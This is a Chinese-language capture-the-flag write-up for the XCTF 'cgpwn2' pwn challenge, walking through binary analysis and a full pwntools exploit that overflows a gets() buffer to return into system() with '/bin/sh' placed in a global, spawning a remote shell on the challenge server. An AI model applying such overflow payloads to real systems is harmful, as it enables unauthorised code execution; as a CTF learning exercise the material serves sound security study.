day-10 xctf-cgpwn2

xctf-cgpwn2

题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5059&page=1

拿到题目,checksec,发现No canary found ,唔。。。。

 运行一下,大概功能是:输入名字,输入message,输出thank you

将其拉入ida查看,查看字符串,只发现了system,看来我们需要构造system('/bin/sh')

 查看主函数,调用了函数hello()

 查看一下hello()函数

 发现gets危险函数,着重注意。查看一下fgets中的name,地址为:0x804A080,这是一个固定的地址,或许可以修改这个位置的值为'/bin/sh

或许可以通过栈溢出的方式,返回system地址,然后调用这个修改过的name的参数地址,执行system('/bin/sh')

寻找system调用的地址,为0x8048420

点击&s查看到s占用的栈空间为38

 那么可以构造exp了:

from pwn import *

context.log_level = 'debug'

#cnn = ('./cgpwn2')
cnn = remote('111.198.29.45',37310)

#elf = ELF('./cgpwn2')

system_addr = 0x8048420

binsh_addr = 0x804A080

payload = 38*'a' + 4*'a' + p32(system_addr) + 'aaaa' + p32(binsh_addr)

cnn.sendlineafter('name
','/bin/sh')

cnn.sendlineafter('here:
',payload)

cnn.interactive()
exp

通过返回的shell,然后cat flag就能得到flag了

 

总结:无中生有

原文地址:https://www.cnblogs.com/yidianhan/p/11613856.html